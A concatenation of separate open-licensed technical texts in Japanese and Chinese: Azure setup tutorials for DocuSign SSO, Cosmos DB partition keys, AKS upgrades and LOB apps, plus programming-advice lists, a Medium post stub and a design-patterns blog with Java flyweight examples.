a. **[サインオン URL]** ボックスに、「`https://account.docusign.com/*`」と入力します。
b. **[識別子]** ボックスに、「`https://account.docusign.com/*`」と入力します。
c. **[次へ]**をクリックします。
> [!TIP]
> [サインオン URL] と [識別子] の値は、単なるプレースホルダーです。 実際の環境の値を取得する方法については、このトピックの後半で説明します。
1. **[DocuSign でのシングル サインオンの構成]** ページで、**[証明書のダウンロード]** をクリックし、証明書ファイルをコンピューターにローカルで保存します。
![シングル サインオンの構成][10]
2. 別の Web ブラウザー ウィンドウで、 **DocuSign 管理者ポータル** に管理者としてログインします。
3. 左側のナビゲーション メニューの **[Domains (ドメイン)]**をクリックします。
![シングル サインオンの構成][51]
4. 右側のウィンドウで、 **[Claim Domain (ドメインを要求する)]**をクリックします。
![シングル サインオンの構成][52]
5. **[Claim a domain (ドメインの要求)]** ダイアログの**[Domain Name (ドメイン名)]** ボックスに、所属する会社のドメインを入力してから、**[Claim (要求)]** をクリックします。 ドメインを確認し、状態がアクティブであることを確かめてください。
![シングル サインオンの構成][53]
6. 左側のメニューで、 **[Identity Providers (ID プロバイダー)]**
![シングル サインオンの構成][54]
7. 右側のウィンドウで、 **[Add Identity Provider (ID プロバイダーの追加)]**をクリックします。
![シングル サインオンの構成][55]
8. **[Identity Provider Settings (ID プロバイダーの設定)]** ページで、次の手順を実行します。
![シングル サインオンの構成][56]
a. **[Name (名前)]** ボックスに、構成の一意の名前を入力します。 スペースは使用しないようにしてください。
b. Azure クラシック ポータルで [発行者の URL] の値をコピーし、**[Identity Provider Issuer (ID プロバイダーの発行元)]** ボックスに貼り付けます。
c. Azure クラシック ポータルで **[リモート ログイン URL]** の値をコピーし、**[Identity Provider Login URL (ID プロバイダーのログイン URL)]** ボックスに貼り付けます。
d. Azure クラシック ポータルで **[リモート ログアウト URL]** の値をコピーし、**[Identity Provider Logout URL (ID プロバイダーのログアウト URL)]** ボックスに貼り付けます。
e. **[Sign AuthN Request (認証要求に署名する)]** を選択します。
f.SAML 属性の属性名またはスキーマ リファレンスを入力します。 **[Send AuthN request by (認証要求の送信方法)]** として、**[POST]** を選択します。
g. **[Send logout request by (ログアウト要求の送信方法)]** として、**[POST]** を選択します。
1. **[Custom Attribute Mapping (カスタム属性マッピング)]** セクションで、Azure AD の要求とマッピングするフィールドを選択します。 この例では、**emailaddress** 要求が **http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress** という値とマッピングされます。 これは、Azure AD の電子メール要求の既定の要求名です。
> [!NOTE]
> Azure AD のユーザーを DocuSign のユーザー マッピングにマッピングする際は、適切な **ユーザー識別子** を使用してください。 適切なフィールドを選択し、組織の設定に基づく適切な値を入力してください。
>
>
![シングル サインオンの構成][57]
2. **[Identity Provider Certificate (ID プロバイダー証明書)]** セクションで **[Add Certificate (証明書の追加)]** をクリックし、Azure AD クラシック ポータルからダウンロードした証明書をアップロードします。
![シングル サインオンの構成][58]
3. **[Save]**をクリックします。
4. **[Identity Providers (ID プロバイダー)]** セクションで、**[Actions (アクション)]** をクリックし、**[Endpoints (エンドポイント)]** をクリックします。
![シングル サインオンの構成][59]
5. Azure クラシック ポータルの **[アプリケーション設定の構成]** ページに戻ります。
6. **DocuSign 管理者ポータル**の **[View SAML 2.0 Endpoints (SAML 2.0 エンドポイントの表示)]** セクションで、次の手順を実行します。
![シングル サインオンの構成][60]
a. **[Service Provider Issuer URL (サービス プロバイダーの発行者 URL)]** の値をコピーし、Azure クラシック ポータルの **[識別子]** ボックスに貼り付けます。
b. **[Service Provider Login URL (サービス プロバイダーのログイン URL)]** の値をコピーし、Azure クラシック ポータルの **[サインオン URL]** ボックスに貼り付けます。
c. **[閉じる]** をクリックします。
7. Azure クラシック ポータルで **[次へ]**をクリックします。
8. Azure クラシック ポータルで、**シングル サインオンの構成確認**を選択し、**[次へ]** をクリックします。
![アプリケーション][14]
9. **[シングル サインオンの確認]** ページで、**[完了]** をクリックします。
![アプリケーション][15]
## <a name="configuring-account-provisioning"></a>アカウント プロビジョニングの構成
このセクションでは、Active Directory のユーザー アカウントのプロビジョニングを DocuSign に対して有効にする方法を説明します。
### <a name="to-configure-user-provisioning-perform-the-following-steps"></a>ユーザー プロビジョニングを構成するには、次の手順に従います。
1. **Azure クラシック ポータル**の **DocuSign アプリケーション統合**ページで、**[アカウント プロビジョニングの構成]** をクリックして [ユーザー プロビジョニングの構成] ダイアログを開きます。
![アカウント プロビジョニングの構成][30]
2. **[設定と管理者資格情報]** ページで自動ユーザー プロビジョニングを有効にするには、十分な権限が付与されている DocuSign アカウントの資格情報を入力してから **[次へ]** をクリックします。
![アカウント プロビジョニングの構成][31]
3. **[テスト接続]** ダイアログで、**[テスト開始]** をクリックし、テストが正常に行われた場合は **[次へ]** をクリックします。
![アカウント プロビジョニングの構成][32]
4. **[確認]** ページで **[完了]** をクリックします。
![アカウント プロビジョニングの構成][33]
## <a name="assigning-users"></a>ユーザーの割り当て
構成をテストするには、アプリケーションの使用を許可する Azure AD ユーザーを割り当てて、そのユーザーに、アプリケーションへのアクセス権を付与する必要があります。
### <a name="to-assign-users-to-docusign-perform-the-following-steps"></a>ユーザーを DocuSign に割り当てるには、次の手順を実行します。
1. **Azure クラシック ポータル**で、テスト アカウントを作成します。
2. **DocuSign アプリケーション統合**ページで、**[ユーザーの割り当て]** をクリックします。
![ユーザーの割り当て][40]
3. テスト ユーザーを選択して、**[割り当て]** をクリックし、**[はい]** をクリックして割り当てを確定します。
![ユーザーの割り当て][41]
ここで 10 分間待機し、アカウントが DocuSign に同期されたことを確認する必要があります。
最初の検証手順として、Azure クラシック ポータルの DocuSign アプリケーション統合ページの D でダッシュボードをクリックして、プロビジョニングの状態を確認できます。
![ユーザーの割り当て][42]
正常に完了したユーザー プロビジョニング サイクルは、関連する状態で示されます。
![ユーザーの割り当て][43]
シングル サインオンの設定をテストする場合は、アクセス パネルを開きます。
アクセス パネルの詳細については、「アクセス パネルの概要」を参照してください。
## <a name="additional-resources"></a>その他のリソース
* [SaaS アプリと Azure Active Directory を統合する方法に関するチュートリアルの一覧](active-directory-saas-tutorial-list.md)
* [Azure Active Directory のアプリケーション アクセスとシングル サインオンとは](active-directory-appssoaccess-whatis.md)
<!--Image references-->
[0]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_00.png
[1]: ./media/active-directory-saas-docusign-tutorial/tutorial_general_01.png
[2]: ./media/active-directory-saas-docusign-tutorial/tutorial_general_02.png
[3]: ./media/active-directory-saas-docusign-tutorial/tutorial_general_03.png
[4]: ./media/active-directory-saas-docusign-tutorial/tutorial_general_04.png
[5]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_01.png
[6]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_02.png
[7]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_03.png
[8]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_04.png
[9]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_05.png
[10]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_06.png
[14]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_10.png
[15]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_11.png
[30]: ./media/active-directory-saas-docusign-tutorial/tutorial_general_400.png
[31]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_12.png
[32]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_13.png
[33]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_14.png
[40]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_15.png
[41]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_16.png
[42]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_17.png
[43]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_18.png
[51]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_21.png
[52]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_22.png
[53]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_23.png
[54]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_19.png
[55]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_20.png
[56]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_24.png
[57]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_25.png
[58]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_26.png
[59]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_27.png
[60]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_28.png
[61]: ./media/active-directory-saas-docusign-tutorial/tutorial_docusign_29.png | 10,000 | CC-BY-4.0 |
---
title: 编程中的24条经典语录
date: 2017-11-23
categories: [discourse]
tags: [note]
excerpt_separator: <!--more-->
---
<div style="text-align: center">浮躁的人容易问：我到底该学什么；— 别问，学就对了；</div>
<div style="text-align: center">浮躁的人分两种：只观望而不学的人；只学而不坚持的人；</div>
<!--more-->
1. 不要看到别人的建议第一句话就说：给写个代码吧！你应该想想为什么。当你自己想出来再参考别人的提示，你就知道自己和别人思路的差异。
2. 初学者请不要看太多太多的书那会误人子弟的，先找本系统的学，很多人用了很久都是只对部分功能熟悉而已，不系统还是不够的。
3. 看帮助,不要因为很难而自己是初学者所以就不看；帮助永远是最好的参考手册，虽然帮助的文字有时候很难看懂，总觉得不够直观。
4. 不要被对象、属性、方法等词汇所迷惑；最根本的是先了解最基础知识。
5. 不要放过任何一个看上去很简单的小问题–他们往往并不那么简单，或者可以引伸出很多知识；不会举一反三你就永远学不会。
6. 知道一点东西，并不能说明你会写应用，完整的应用是需要经验积累的。
7. Android并不难，JAVA、Kotlin、各种框架等等也不过如此—难的是长期坚持实践和不遗余力的博览群书。
8. 看再多的书是不能将Android知识融会贯通的，要多实践。
9. 把时髦的技术挂在嘴边，还不如把过时的技术记在心里。
10. 学习Android最好的方法之一就是多练习。
11. 在任何时刻都不要认为自己手中的书已经足够了。
12. 看得懂的书，请仔细看；看不懂的书，请硬着头皮看。
13. 别指望看第一遍书就能记住和掌握什么——请看第二遍、第三遍。
14. 请把书上的例子亲手到电脑上实践，即使配套光盘中有源文件。
15. 把在书中看到的有意义的例子扩充；并将其切实的运用到自己的工作中。
16. 不要漏掉书中任何一个练习——请全部做完并记录下思路。
17. 当你编程到一半却发现自己用的方法很拙劣时，请不要马上停手；请尽快将余下的部分粗略的完成以保证这个代码的完整性，然后分析自己的错误并重新编写和工作。
18. 别心急，学的好确实不容易；水平是在不断的实践中完善和发展的。
19. 每学到一个难点的时候，尝试着对别人讲解这个知识点并让他理解—-你能讲清楚才说明你真的理解了。
20. 记录下在和别人交流时发现的自己忽视或不理解的知识点。
21. 保存好你做过的所有的源文件—-那是你最好的积累之一。
22. 对于网络，还是希望大家能多利用一下，很多问题不是非要到论坛来问的，首先你要学会自己找答案，比如google、百度都是很好的搜索引擎，你只要输入关键字就能找到很多相关资料，别老是等待别人给你希望，看的出你平时一定也很懒！
23. 到一个论坛，你学会去看以前的帖子，不要什么都不看就发帖子问，也许你的问题早就有人问过了，你再问，别人已经不想再重复了，做为初学者，谁也不希望自己的帖子没人回的。
24. 虽然不是打击初学者，但是这句话还是要说：论坛论坛，就是大家讨论的地方，如果你总期望有高手总无偿指点你，除非他是你亲戚！！讨论者，起码是水平相当的才有讨论的说法，如果水平真差距太远了，连基本操作都需要别人给解答，谁还跟你讨论呢。能找到很多相关资料，别老是等待别人给你希望，看的出你平时一定也很懒！
* 浮躁的人容易问：我到底该学什么；—-别问，学就对了；
* 浮躁的人容易问：Android有钱途吗；—-建议你去抢银行；
* 浮躁的人容易说：我要中文版！我英文不行！—-不行？学呀！
* 浮躁的人分两种：只观望而不学的人；只学而不坚持的人；
* 浮躁的人永远不是一个高手。
---
出处：*代码湾*<br/>
链接：*http://codebay.cn/post/6163.html* | 1,718 | MIT |
---
title: 在 Azure Cosmos DB 中创建合成分区键
description: 了解如何在 Azure Cosmos 容器中使用合成分区键在分区键之间均匀分配数据和工作负荷
ms.service: cosmos-db
ms.subservice: cosmosdb-sql
ms.topic: conceptual
origin.date: 12/03/2019
ms.date: 12/14/2020
author: rockboyfor
ms.author: v-yeche
ms.openlocfilehash: 1899d83a875941dad1cd9c70b574dcfc7ea695e3
ms.sourcegitcommit: a8afac9982deafcf0652c63fe1615ba0ef1877be
ms.translationtype: HT
ms.contentlocale: zh-CN
ms.lasthandoff: 12/08/2020
ms.locfileid: "96850757"
---
# <a name="create-a-synthetic-partition-key"></a>创建合成分区键
[!INCLUDE[appliesto-sql-api](includes/appliesto-sql-api.md)]
采用具有大量（例如，几百甚至几千个）非重复性值的分区键是最佳做法。 目标是在与这些分区键值关联的项之间均匀分配数据和工作负荷。 如果数据中不存在此类属性，可以构造一个合成分区键。 本文档介绍为 Cosmos 容器生成合成分区键的几种基本方法。
## <a name="concatenate-multiple-properties-of-an-item"></a>连接某个项的多个属性
将多个属性值连接成单个人工 `partitionKey` 属性可以构成一个分区键。 这些键称为合成键。 例如，考虑以下示例文档：
```JavaScript
{
"deviceId": "abc-123",
"date": 2018
}
```
对于上面的文档，一种做法是将 /deviceId 或 /date 设为分区键。 若要根据设备 ID 或日期将容器分区，可使用这种做法。 另一种做法是将这两个值连接成用作分区键的合成 `partitionKey` 属性。
```JavaScript
{
"deviceId": "abc-123",
"date": 2018,
"partitionKey": "abc-123-2018"
}
```
在实时方案中，数据库可能包含数千个项。 请不要手动添加合成键，而应该定义客户端逻辑来连接值，并将合成键插入 Cosmos 容器的项中。
## <a name="use-a-partition-key-with-a-random-suffix"></a>使用具有随机后缀的分区键
另一种更均匀地分配工作负荷的可行策略是，在分区键值的末尾追加一个随机数。 以这种方式分配项时，可以跨分区执行并行写入操作。
例如，如果某个分区键表示日期， 则你可以选择介于 1 和 400 之间的随机数，并将其作为后缀连接到该日期。 此方法会生成如下所示的分区键值：`2018-08-09.1`、`2018-08-09.2` ... `2018-08-09.400`。 由于随机化了分区键，每日针对容器执行的写入操作将均匀分散在多个分区之间。 此方法可以提高并行度和总体吞吐量。
## <a name="use-a-partition-key-with-pre-calculated-suffixes"></a>使用具有预先计算的后缀的分区键
尽管随机后缀策略能够大幅提高写入吞吐量，但却难以读取特定的项。 你不知道写入该项时使用的后缀值。 若要更轻松地读取单个项，请使用预先计算的后缀策略。 此策略不是使用随机数在分区之间分配项，而是使用根据想要查询的内容计算的某个数字。
沿用前面的示例，其中的某个容器使用日期作为分区键。 现在假设每个项有一个我们需要访问的 `Vehicle-Identification-Number` (`VIN`) 属性。 此外，假设你经常运行查询来按 `VIN` 和日期查找项。 在应用程序将项写入容器之前，它可以基于 VIN 计算哈希后缀，并将其追加到分区键日期。 这种计算可以生成介于 1 和 400 之间的均匀分布数字。 此结果类似于随机后缀策略方法生成的结果。 分区键值将是与计算结果相连接的日期。
使用此策略可在分区键值之间以及分区之间均匀分散写入。 由于可以计算特定 `Vehicle-Identification-Number` 的分区键值，因此可以轻松读取特定的项和日期。 此方法的好处是可以避免创建单个热分区键（即，取所有工作负荷值的分区键）。
## <a name="next-steps"></a>后续步骤
可通过以下文章详细了解分区的概念：
* 详细了解[逻辑分区](partitioning-overview.md)。
* 详细了解如何[对 Azure Cosmos 容器和数据库预配吞吐量](set-throughput.md)。
* 了解[如何对 Azure Cosmos 容器预配吞吐量](how-to-provision-container-throughput.md)。
* 了解[如何对 Azure Cosmos 数据库预配吞吐量](how-to-provision-database-throughput.md)。
<!-- Update_Description: update meta properties, wording update, update link --> | 2,446 | CC-BY-4.0 |
---
title: "Kubernetes on Azure のチュートリアル - クラスターの更新"
description: "Kubernetes on Azure のチュートリアル - クラスターの更新"
services: container-service
author: neilpeterson
manager: timlt
ms.service: container-service
ms.topic: tutorial
ms.date: 11/15/2017
ms.author: nepeters
ms.custom: mvc
ms.openlocfilehash: d82232d590bcc5c578ebe8ed7c85d25aebcfe097
ms.sourcegitcommit: 059dae3d8a0e716adc95ad2296843a45745a415d
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 02/09/2018
---
# <a name="upgrade-kubernetes-in-azure-container-service-aks"></a>Azure Container Service (AKS) での Kubernetes のアップグレード
Azure Container Service (AKS) クラスターは、Azure CLI を使用してアップグレードできます。 アップグレード プロセス中、実行中のアプリケーションの中断を最小限に抑えるために、Kubernetes ノードは慎重に[切断およびドレインされます][kubernetes-drain]。
このチュートリアル (8 部構成の第 8 部) では、Kubernetes クラスターがアップグレードされます。 以下のタスクを行います。
> [!div class="checklist"]
> * 現在の使用可能な Kubernetes バージョンを識別する
> * Kubernetes ノードをアップグレードする
> * 正常なアップグレードを検証する
## <a name="before-you-begin"></a>開始する前に
前のチュートリアルでは、アプリケーションをコンテナー イメージにパッケージ化し、このイメージを Azure Container Registry にアップロードして、Kubernetes クラスターを作成しました。 その後、Kubernetes クラスターでアプリケーションを実行しました。
これらの手順を実行していない場合で、行いたい場合は、「[チュートリアル 1 – コンテナー イメージを作成する][aks-tutorial-prepare-app]」に戻ってください。
## <a name="get-cluster-versions"></a>クラスター バージョンを取得する
クラスターをアップグレードする前に、`az aks get-versions` コマンドを使用して、アップグレードで利用できる Kubernetes のリリースを確認します。
```azurecli-interactive
az aks get-versions --name myAKSCluster --resource-group myResourceGroup --output table
```
ここでは、現在のノード バージョンが `1.7.7` であり、バージョン `1.7.9`、`1.8.1`、および `1.8.2` が使用可能なことがわかります。
```
Name ResourceGroup MasterVersion MasterUpgrades NodePoolVersion NodePoolUpgrades
------- --------------- --------------- ------------------- ------------------ -------------------
default myAKSCluster 1.7.7 1.8.2, 1.7.9, 1.8.1 1.7.7 1.8.2, 1.7.9, 1.8.1
```
## <a name="upgrade-cluster"></a>クラスターをアップグレードする
`az aks upgrade` コマンドを使用してクラスター ノードをアップグレードします。 次の例では、クラスターをバージョン `1.8.2` に更新します。
```azurecli-interactive
az aks upgrade --name myAKSCluster --resource-group myResourceGroup --kubernetes-version 1.8.2
```
出力:
```json
{
"id": "/subscriptions/<Subscription ID>/resourcegroups/myResourceGroup/providers/Microsoft.ContainerService/managedClusters/myAKSCluster",
"location": "eastus",
"name": "myAKSCluster",
"properties": {
"accessProfiles": {
"clusterAdmin": {
"kubeConfig": "..."
},
"clusterUser": {
"kubeConfig": "..."
}
},
"agentPoolProfiles": [
{
"count": 1,
"dnsPrefix": null,
"fqdn": null,
"name": "myAKSCluster",
"osDiskSizeGb": null,
"osType": "Linux",
"ports": null,
"storageProfile": "ManagedDisks",
"vmSize": "Standard_D2_v2",
"vnetSubnetId": null
}
],
"dnsPrefix": "myK8sClust-myResourceGroup-4f48ee",
"fqdn": "myk8sclust-myresourcegroup-4f48ee-406cc140.hcp.eastus.azmk8s.io",
"kubernetesVersion": "1.8.2",
"linuxProfile": {
"adminUsername": "azureuser",
"ssh": {
"publicKeys": [
{
"keyData": "..."
}
]
}
},
"provisioningState": "Succeeded",
"servicePrincipalProfile": {
"clientId": "e70c1c1c-0ca4-4e0a-be5e-aea5225af017",
"keyVaultSecretRef": null,
"secret": null
}
},
"resourceGroup": "myResourceGroup",
"tags": null,
"type": "Microsoft.ContainerService/ManagedClusters"
}
```
## <a name="validate-upgrade"></a>アップグレードを検証する
ここで、`az aks show` コマンドを使用して、アップグレードが成功したことを確認できます。
```azurecli-interactive
az aks show --name myAKSCluster --resource-group myResourceGroup --output table
```
出力:
```json
Name Location ResourceGroup KubernetesVersion ProvisioningState Fqdn
------------ ---------- --------------- ------------------- ------------------- ----------------------------------------------------------------
myAKSCluster eastus myResourceGroup 1.8.2 Succeeded myk8sclust-myresourcegroup-3762d8-2f6ca801.hcp.eastus.azmk8s.io
```
## <a name="next-steps"></a>次の手順
このチュートリアルでは、AKS クラスター内の Kubernetes をアップグレードしました。 次のタスクを完了しました。
> [!div class="checklist"]
> * 現在の使用可能な Kubernetes バージョンを識別する
> * Kubernetes ノードをアップグレードする
> * 正常なアップグレードを検証する
AKS の詳細については、このリンクに従ってください。
> [!div class="nextstepaction"]
> [AKS の概要][aks-intro]
<!-- LINKS - external -->
[kubernetes-drain]: https://kubernetes.io/docs/tasks/administer-cluster/safely-drain-node/
<!-- LINKS - internal -->
[aks-intro]: ./intro-kubernetes.md
[aks-tutorial-prepare-app]: ./tutorial-kubernetes-prepare-app.md | 4,675 | CC-BY-4.0 |
<properties
pageTitle="Azure 中的企業營運應用程式 | Microsoft Azure"
description="了解 Azure 中企業營運應用程式的價值、設定測試環境，以及部署高可用性組態。"
services="virtual-machines"
documentationCenter=""
authors="JoeDavies-MSFT"
manager="timlt"
editor=""
tags="azure-resource-manager"/>
<tags
ms.service="virtual-machines"
ms.workload="infrastructure-services"
ms.tgt_pltfrm="Windows"
ms.devlang="na"
ms.topic="article"
ms.date="12/17/2015"
ms.author="josephd"/>
# Azure 基礎結構服務工作負載：高可用性企業營運應用程式
[AZURE.INCLUDE [learn-about-deployment-models](../../includes/learn-about-deployment-models-rm-include.md)]傳統部署模型。
在 Microsoft Azure 中設定第一個或下一個以網路為基礎的內部網路專用企業營運應用程式，這樣您就可以利用簡化組態的優點，還能夠快速擴大應用程式，使其增加新的容量。
您可以使用 Azure 基礎結構服務的虛擬機器和虛擬網路功能，快速部署和執行可由組織使用者存取的企業營運應用程式。例如，您可以如此設定。
由於 Azure 虛擬網路是內部網路的延伸模組，並備妥所有正確命名與流量路由，您的使用者將以如同企業營運應用程式的伺服器位於內部部署資料中心的相同方式來進行存取。
這種組態可讓您透過新增新 Azure 虛擬機器輕鬆擴充企業營運應用程式，其中投入的硬體和維護成本會低於您資料中心所執行的相同企業營運應用程式。
下一步是設定裝載在 Azure 中的開發/測試企業營運應用程式。
## 建立裝載在 Azure 中的開發/測試企業營運應用程式。
跨單位虛擬網路會透過站台對站台 VPN 或 ExpressRoute 連接到內部部署網路。如果您想要建立模擬最後組態和實驗的開發/測試環境，以便透過 VPN 連線存取應用程式並執行遠端系統管理，請參閱[在混合式雲端中設定以 Web 為基礎的 LOB 應用程式以進行測試](../virtual-network/virtual-networks-setup-lobapp-hybrid-cloud-testing.md)。
您可以使用您的 [MSDN 訂用帳戶](https://azure.microsoft.com/pricing/member-offers/msdn-benefits/)或 [Azure 試用版訂用帳戶](https://azure.microsoft.com/pricing/free-trial/)免費建立這個開發/測試環境。
下一步是在 Azure 中建立高可用性的企業營運應用程式。
## 在 Azure 中部署企業營運應用程式。
在 Azure 中代表高可用性企業營運應用程式組態的基準線如下所示。
其中包括：
- 在 Web 和資料庫層中具有兩部伺服器的內部網路專用企業營運應用程式。
- 具有兩個執行 SQL Server 的虛擬機器以及叢集中多數節點電腦的 SQL Server AlwaysOn 組態。
- 虛擬網路中具有兩個複本網域控制站的 Active Directory 網域服務。
如需企業營運應用程式的概觀，請參閱[企業營運應用程式架構藍圖](http://msdn.microsoft.com/dn630664)。
若要部署此組態，請使用下列程序：
- 第 1 階段：設定 Azure。
使用 Azure PowerShell 來建立儲存體帳戶、可用性集合和跨單位虛擬網路。如需詳細的設定步驟，請參閱＜[第 1 階段](virtual-machines-workload-high-availability-LOB-application-phase1.md)＞。
- 第 2 階段：設定網域控制站
為虛擬網路設定兩個 Active Directory 複本網域控制站和 DNS 設定。如需詳細的設定步驟，請參閱＜[第 2 階段](virtual-machines-workload-high-availability-LOB-application-phase2.md)＞。
- 第 3 階段：設定 SQL Server 基礎結構。
建立執行 SQL Server 和叢集的虛擬機器。如需詳細的設定步驟，請參閱＜[第 3 階段](virtual-machines-workload-high-availability-LOB-application-phase3.md)＞。
- 第 4 階段：設定 Web 伺服器。
建立 Web 伺服器虛擬機器並將您的企業營運應用程式加入其中。如需詳細的設定步驟，請參閱＜[第 4 階段](virtual-machines-workload-high-availability-LOB-application-phase4.md)＞。
- 第 5 階段：設定 SQL Server AlwaysOn 可用性群組。
準備應用程式資料庫，並建立 SQL Server AlwaysOn 可用性群組，然後將應用程式資料庫新增至其中。如需詳細的設定步驟，請參閱＜[第 5 階段](virtual-machines-workload-high-availability-LOB-application-phase5.md)＞。
一旦設定之後，您可以透過新增更多的 Web 伺服器或執行 SQL Server 至叢集的虛擬機器，輕鬆擴充此企業營運應用程式。
## 後續步驟
- 在設定組態前先取得生產工作負載[概觀](virtual-machines-workload-high-availability-lob-application-overview.md)。
<!---HONumber=AcomDC_0128_2016--> | 3,030 | CC-BY-3.0 |
---
layout: post
title: "2019年我都會更新返我張作者名單！"
date: 2018-12-30T13:49:34.000Z
author: 李飛步
from: https://medium.com/@verbalflystep/2019%E5%B9%B4%E6%88%91%E9%83%BD%E6%9C%83%E6%9B%B4%E6%96%B0%E8%BF%94%E6%88%91%E5%BC%B5%E4%BD%9C%E8%80%85%E5%90%8D%E5%96%AE-d777f6b0e5b3?source=rss-7e0de79fece------2
tags: [ medium ]
categories: [ medium ]
---
<!--1546177774000-->
[2019年我都會更新返我張作者名單！](https://medium.com/@verbalflystep/2019%E5%B9%B4%E6%88%91%E9%83%BD%E6%9C%83%E6%9B%B4%E6%96%B0%E8%BF%94%E6%88%91%E5%BC%B5%E4%BD%9C%E8%80%85%E5%90%8D%E5%96%AE-d777f6b0e5b3?source=rss-7e0de79fece------2)
------
<div>
<p>2019年我都會更新返我張作者名單！</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d777f6b0e5b3" width="1" height="1" alt="">
</div> | 759 | MIT |
---
layout: post
title: 设计模式
subtitle: Design Pattern
date: 2020-02-25
author: tryingpfq
header-img: img/post-bg-design.jpg
catalog: true
tags:
- 设计模式
---
#设计模式
### 前言
设计模式主要有21种，分为三大模块:创建型模式，结构型模式，
### 创建型模式
* 单类模式
单类模式有很多中实现方式：饿汉式，懒汉式，双重加锁，枚举，静态内部类。
有没有想过一个问题：静态内部类的单例模式是如何保证线程安全的？这个和类的加载机制有关， *虚拟机会保证一个类的<clinit>()方法在多线程环境中被正确地加锁、同步，如果多个线程同时去初始化一个类，那么只会有一个线程去执行这个类的<clinit>()方法，其他线程都需要阻塞等待，直到活动线程执行<clinit>()方法完毕*
参考[https://blog.csdn.net/mnb65482/article/details/80458571]
* 工厂模式
* 建造者模式
这个用的还是比较多，比如guava包下的集合很多就用到了建造者模式。
一般什么时候会用到这个模式呢，就是在设置属性的时候，并需要对属性进行验证，这个是
时候就可以用到建造者模式。
具体的使用方式：在该类中，定义一个Builder静态内部内，然后在内部内中，把需要构建的属性设置到内部类中，
然后build方法，返回具体的实例。
* 原型模式
### 结构型模式
* 代理模式(Proxy Design Pattern)
所谓代理模式就是在不改变原始类或者叫做被代理类的代码情况下，通过引入代理类来给原始类附加功能。
其实简单说，就是把附加的功能在一个代理类中去实现。
[代码](https://github.com/tryingpfq/dayPractice/tree/master/src/main/java/com/tryingpfq/proxy)
代理模式在RPC中也是常用到的，我自己写了一个简单的demo,客户端的服务就是通过代理来实现。
[RPC_DEMO](https://github.com/tryingpfq/rpc_demo)
* 桥接模式
* 装饰器模式
* 适配器模式
设配器模式就是用来做设配的，让之前不兼容的接口转换为可兼容的接口，让原本由于接口不兼用不能一起
工作的类可以一起工作。最好的类比就是USB做转换。
* 门面模式
* 组合模式
* 享元模式
享元模式，顾名思义就是共享，也就是将可以共享的对象组织起来，加入以象棋游戏为类，每个房间就是一句游戏，但同时可能存在很多个房间在玩。如果给每一个房间的棋子都创建新的棋子，是不是很浪费时间。
但其实我们可以把每个棋子都抽取出来，然后给共享。是不是可以节省很多内存空间，那具体是如何抽取呢，
可以给一个工厂类，用来缓存棋子信息，然后每一句游戏只要去里面拿就可以，但要注意的是，要抽取的是棋子基础信息，比如颜色，描述。但坐标就不行了，会根据游戏进行而修改的。
对于坐标：好像有点新的认识，其实想想，加入要设置成享元的话，数量也是固定的，加入就90个，但坐标就两个int，那么每个棋子就要持有一份对位置的引用，引用也是要占用多少空间的，这里具体就不知道了，需要去看jvm，一个int是四个字节，那么这个坐标对象就是八个字节，但是在64位机器上，java对象引用也是占8个字节，当然这里不考虑压缩指针哈。而且这份引用还需要不停的修改，比起直接修改值，哪个更好呢，然后我并不知道。
~~~java
// 享元类
public class ChessPieceUnit {
private int id;
private String text;
private Color color;
public ChessPieceUnit(int id, String text, Color color) {
this.id = id;
this.text = text;
this.color = color;
}
public static enum Color {
RED, BLACK
}
// ...省略其他属性和getter方法...
}
public class ChessPieceUnitFactory {
private static final Map<Integer, ChessPieceUnit> pieces = new HashMap<>();
static {
pieces.put(1, new ChessPieceUnit(1, "車", ChessPieceUnit.Color.BLACK));
pieces.put(2, new ChessPieceUnit(2,"馬", ChessPieceUnit.Color.BLACK));
//...省略摆放其他棋子的代码...
}
public static ChessPieceUnit getChessPiece(int chessPieceId) {
return pieces.get(chessPieceId);
}
}
public class ChessPiece {
private ChessPieceUnit chessPieceUnit;
private int positionX;
private int positionY;
public ChessPiece(ChessPieceUnit unit, int positionX, int positionY) {
this.chessPieceUnit = unit;
this.positionX = positionX;
this.positionY = positionY;
}
// 省略getter、setter方法
}
public class ChessBoard {
private Map<Integer, ChessPiece> chessPieces = new HashMap<>();
public ChessBoard() {
init();
}
private void init() {
chessPieces.put(1, new ChessPiece(
ChessPieceUnitFactory.getChessPiece(1), 0,0));
chessPieces.put(1, new ChessPiece(
ChessPieceUnitFactory.getChessPiece(2), 1,0));
//...省略摆放其他棋子的代码...
}
public void move(int chessPieceId, int toPositionX, int toPositionY) {
//...省略...
}
}
~~~
在java中，Integer就使用了享元模式。具体看源码就好，但要注意的是，有三种方式，可能结果会不一样
~~~java
Integer a = new Integer(123); 1
Integer a = 123; 2
Integer a = Integer.valueOf(123); 3
~~~
第一种是不会使用享元模式的，是新建的另一个对象。
享元模式在String中的使用，其实和Integer基本是相同的，但还是有点区别，区别之处就是String中的常量池不是提前构建好，而是在等需要使用的时候再去创建。
### 行为型模式
* 观察这模式
